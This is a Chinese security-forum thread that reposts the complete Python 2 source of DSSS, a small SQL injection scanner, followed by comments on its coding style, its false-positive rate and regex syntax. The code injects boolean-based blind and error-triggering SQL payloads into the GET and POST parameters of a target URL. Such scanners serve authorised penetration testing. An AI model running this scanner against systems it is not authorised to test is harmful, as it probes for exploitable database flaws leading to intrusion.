当前位置:WooYun(白帽子技术社区) >> python >> 【100行Python代码扫描器】 SQL injection vulnerability scanner (DSSS)

【100行Python代码扫描器】 SQL injection vulnerability scanner (DSSS)

asdf (import pdb;pdb.set_trace(); name="signature" type="text" maxlength="25") | 2014-11-19 16:29

via: https://github.com/stamparm/DSSS

#!/usr/bin/env python
import difflib, httplib, itertools, optparse, random, re, urllib, urllib2, urlparse

NAME    = "Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code)"
VERSION = "0.2m"
AUTHOR  = "Miroslav Stampar (@stamparm)"
LICENSE = "Public domain (FREE)"

PREFIXES = (" ", ") ", "' ", "') ", "\"", "%%' ", "%%') ")              # prefix values used for building testing blind payloads
SUFFIXES = ("", "-- -", "#", "%%00", "%%16")                            # suffix values used for building testing blind payloads
TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"')                            # characters used for SQL tampering/poisoning of parameter values
BOOLEAN_TESTS = ("AND %d>%d", "OR NOT (%d>%d)")                         # boolean tests used for building testing blind payloads
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer"                 # optional HTTP header names
GET, POST = "GET", "POST"                                               # enumerator-like values used for marking current phase
TEXT, HTTPCODE, TITLE, HTML = xrange(4)                                 # enumerator-like values used for marking content type
FUZZY_THRESHOLD = 0.95                                                  # ratio value in range (0,1) used for distinguishing True from False responses
TIMEOUT = 30                                                            # connection timeout in seconds

DBMS_ERRORS = {
    "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*")
}

_headers = {}                                                           # used for storing dictionary with optional header values

def _retrieve_content(url, data=None):
    retval = {HTTPCODE: httplib.OK}
    try:
        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, _headers)
        retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read()
    except Exception, ex:
        retval[HTTPCODE] = getattr(ex, "code", None)
        retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
    match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
    retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
    retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
    return retval

def scan_page(url, data=None):
    retval, usable = False, False
    url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
    try:
        for phase in (GET, POST):
            original, current = None, url if phase is GET else (data or "")
            for match in re.finditer(r"((\A|[?&])(?P<parameter>\w+)=)(?P<value>[^&]+)", current):
                vulnerable, usable = False, True
                print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
                tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
                content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
                for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
                    if not vulnerable and re.search(regex, content[HTML], re.I):
                        print " (i) %s parameter '%s' could be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
                        retval = vulnerable = True
                vulnerable = False
                original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
                randint = random.randint(1, 255)
                for prefix, boolean, suffix in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES):
                    if not vulnerable:
                        template = "%s%s%s" % (prefix, boolean, suffix)
                        payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (randint + 1 if _ else randint, randint), safe='%')))) for _ in (True, False))
                        contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
                        if all(_[HTTPCODE] for _ in (original, contents[True], contents[False])) and (any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE))):
                            vulnerable = True
                        else:
                            ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (True, False))
                            vulnerable = all(ratios.values()) and ratios[True] > FUZZY_THRESHOLD and ratios[False] < FUZZY_THRESHOLD
                        if vulnerable:
                            print " (i) %s parameter '%s' appears to be blind SQLi vulnerable" % (phase, match.group("parameter"))
                            retval = True
        if not usable:
            print " (x) no usable GET/POST parameters found"
    except KeyboardInterrupt:
        print "\r (x) Ctrl-C pressed"
    return retval

def init_options(proxy=None, cookie=None, ua=None, referer=None):
    global _headers
    _headers = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
    urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)

if __name__ == "__main__":
    print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
    parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
    parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
    parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
    parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
    parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
    options, _ = parser.parse_args()
    if options.url:
        init_options(options.proxy, options.cookie, options.ua, options.referer)
        result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
        print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
    else:
        parser.print_help()

分享到:
  1. 1#
    回复此人 感谢
    depycode (静) | 2014-11-19 16:32

    赞!!!

  2. 2#
    回复此人 感谢
    Manning (MSpider作者) | 2014-11-19 16:44

    好难读的代码

  3. 3#
    回复此人 感谢
    冷冷的夜 (1) | 2014-11-19 17:01

    吊!

  4. 4#
    回复此人 感谢
    xsjswt | 2014-11-19 17:04

    胜读十年书啊!

  5. 5#
    回复此人 感谢
    小新 | 2014-11-19 17:08

    写sqlmap大神之一

  6. 6#
    回复此人 感谢
    asdf (import pdb;pdb.set_trace(); name="signature" type="text" maxlength="25") | 2014-11-19 17:21

    代码中大量python编程技巧。所以我发在python版本。代码很好理解。
    除了数据库报错,就是基于页面相似度的比较了。在页面相似度比较的时候对page做些过滤避免误报,就这些内容。
    跟sqlmap比起来太精简了。

  7. 7#
    回复此人 感谢
    冷冷的夜 (1) | 2014-11-19 17:27

    @asdf 作者就是sqlmap项目组的

  8. 8#
    回复此人 感谢
    asdf (import pdb;pdb.set_trace(); name="signature" type="text" maxlength="25") | 2014-11-19 17:35

    @冷冷的夜 我知道。还给他发过几封邮件贡献代码 :P

  9. 9#
    回复此人 感谢
    fyouckoff | 2014-11-19 18:19

    刚开始学pythone,看你这个像天书啊

  10. 10#
    回复此人 感谢
    xiaoL (http://www.xlixli.net) | 2014-11-19 18:29

    好酷炫的代码- -

  11. 11#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-11-19 19:25

    GoodJB!

  12. 12#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-11-19 19:25

    帅呆了!

  13. 13#
    回复此人 感谢
    动后河 (☭) | 2014-11-19 20:47

    我要来泼冷水, 看起来像天书很大程度是应为一堆正则表达式吧, 用的技巧从上到下也没太多啊?请指点具体的高级技巧位置!

  14. 14#
    回复此人 感谢
    动后河 (☭) | 2014-11-19 20:55

    再加一问, 大量的变量前以'_'开始, 和以'_'为变量名, 是为了炫技吗?

  15. 15#
    回复此人 感谢
    冰比冰水冰 (有没有想过也许一辈子你都是个小人物) | 2014-11-19 22:26

    @动后河 下划线开头的变量 私有变量 只能类内部访问

  16. 16#
    回复此人 感谢
    Mody | 2014-11-19 23:02

    正想要这东西,感谢

  17. 17#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2014-11-20 00:25

    @Mody

  18. 18#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2014-11-20 08:31

    @动后河 def myselfmap(f,*args):
        def urgymap(f,args):
            if args==[]:
                return []
            else:
                return [f(args[0])]+urgymap(f,args[1:])
        if list(args)[0]==[]:                                
            return []
        else:
            return [apply(f,urgymap(lambda x: x[0],list(args)))]+apply(myselfmap,[f]+urgymap(lambda x: x[1:],list(args)))


    看看我的这几行代码是否有高级技巧

  19. 19#
    回复此人 感谢
    咖啡 (SELECT) | 2014-11-20 08:57

    功力不够,好难读

  20. 20#
    回复此人 感谢
    saber (终极屌丝之路~) | 2014-11-20 09:12

    楼主好帅!

  21. 21#
    回复此人 感谢
    动后河 (☭) | 2014-11-20 09:26

    @寂寞的瘦子
    def myselfmap(f,*args):#加个*表示列表
        def urgymap(f,args):#函数中再定义一个函数
            if args==[]:#[] == args会更好?
            return []
            else:
                return [f(args[0])]+urgymap(f,args[1:])
        if list(args)[0]==[]:                                
            return []
        else:
            return [apply(f,urgymap(lambda x: x[0],list(args)))]+apply(myselfmap,[f]+urgymap(lambda x: x[1:],list(args)))# lambda匿名函数

    看不出来了

  22. 22#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2014-11-20 10:28

    @动后河 >>> def test(*args):
      assert(isinstance(args, tuple))
    >>> test(1,2,3,4)

    *args会把参数包裹为一个tuple,不是list。
    python高级技巧会让代码很难读,黑科技不是好东西~
    这个函数就是内置map函数的实现,当时写的时候花了不少时间,读懂也不容易。

  23. 23#
    回复此人 感谢
    冷冷的夜 (1) | 2014-11-20 11:49

    @动后河 其实我更喜欢用**args

  24. 24#
    回复此人 感谢
    动后河 (☭) | 2014-11-20 12:43

    @寂寞的瘦子 原来是map, map, reduce, zip这几个函数就显得挺高级的了

  25. 25#
    回复此人 感谢
    迦南 (我不是玩黑,我就是认真) | 2014-11-20 13:21

    也是酷炫

  26. 26#
    回复此人 感谢
    汉时明月 (‮......核审在正长超名签 :) | 2014-11-20 13:29

    很牛逼,看不懂啊

  27. 27#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2014-11-20 13:48

    @动后河 reduce还是很好实现的,一个递归就好了,不过reduce有两种截然不同的写法,一种是尾部递归的,zip也可以自己定义,但是由于python的zip函数hack的比较厉害,所以我...
    def myselfzip(*lis):
        i = 1
        def mapLength(lis):
            return map(lambda x: len(x), lis)
        recursiveTimes = min(mapLength(lis))
        if (recursiveTimes == 0):
            return []
        elif (recursiveTimes == 1):
            return [tuple(map(lambda x : x[0], lis))]
        elif (recursiveTimes == i):
            return []
        i += 1
        return [tuple(map(lambda x : x[0], lis))] + apply(myselfzip,map(lambda x : x[1:],lis))

    感觉被我写惨了。。

  28. 28#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2014-11-20 14:07

    @寂寞的瘦子 def myselfzip(*lis):
        concatTimes = min(map(lambda x: len(x), lis))
        if (concatTimes == 0):
            return []
        elif (concatTimes == 1):
            return [tuple(map(lambda x : x[0], lis))]
        return [tuple(map(lambda x : x[0], lis))] + apply(myselfzip,map(lambda x : x[1:],lis))

  29. 29#
    回复此人 感谢
    X1n6 (X1n6 To the end Who is) | 2014-11-20 16:24

    代码确实写得不错,必须飞起。

  30. 30#
    回复此人 感谢
    menmen519 | 2014-11-20 17:38

    我当时写sql用python写了3000多行,不过还是顶一个

  31. 31#
    回复此人 感谢
    C4ndy (打酱油。。) | 2014-11-20 20:09

    刚开始学pythone,看你这个像天书啊

  32. 32#
    回复此人 感谢
    zzR (你说我不能笑- -!) | 2014-11-21 09:32

    这哥们是不是设备厂商的~

  33. 33#
    回复此人 感谢
    winsyk (W) | 2014-11-29 08:38

    这个是楼主吗?https://github.com/stamparm/DSSS 感觉略牛逼

  34. 34#
    回复此人 感谢
    Yns0ng (潜心修炼中...) | 2015-02-27 11:01

    代码写的非常简洁,有些技巧值得学习,但在使用过程中还是发现了2个问题:

    1,性能有些糟糕,跑一个参数需要不短的时间;
    2,误报率偏高。只比较了正常请求的返回与渗透请求中True或False中一种请求的返回,存在较高的误报率。

  35. 35#
    回复此人 感谢
    ca1n (...) | 2015-04-01 22:59

    想问一下scan_page定义中的第二句
    url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data有什么用呢?

  36. 36#
    回复此人 感谢
    Yns0ng (潜心修炼中...) | 2015-06-01 22:22

    @ca1n 将GET或POST参数中的无效参数有效化,比如:http://abc.com/index.php?foo=1&bar=2&x= 会被替换为http://abc.com/index.php?foo=1&bar=2&x=1,或者http://abc.com/index.php?foo=1&x=&bar=2 会被替换为 http://abc.com/index.php?foo=1&x=1&bar=2 。POST参数同理。

  37. 37#
    回复此人 感谢
    ca1n (...) | 2015-06-03 22:17

    @Yns0ng 这么一说懂了,thx

  38. 38#
    回复此人 感谢
    ca1n (...) | 2015-06-03 22:34

    @Yns0ng BTW, 感觉当时的我困惑是在\g<1>这个语法上,能否讲解一下呢?\g是global的意思?

  39. 39# 感谢(1)
    回复此人 感谢
    Yns0ng (潜心修炼中...) | 2015-06-05 13:24

    @ca1n 不是global 是正则表达式中的后向引用 \g<1>等同于\1 具体参考这个wiki:http://wiki.ubuntu.org.cn/Python%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录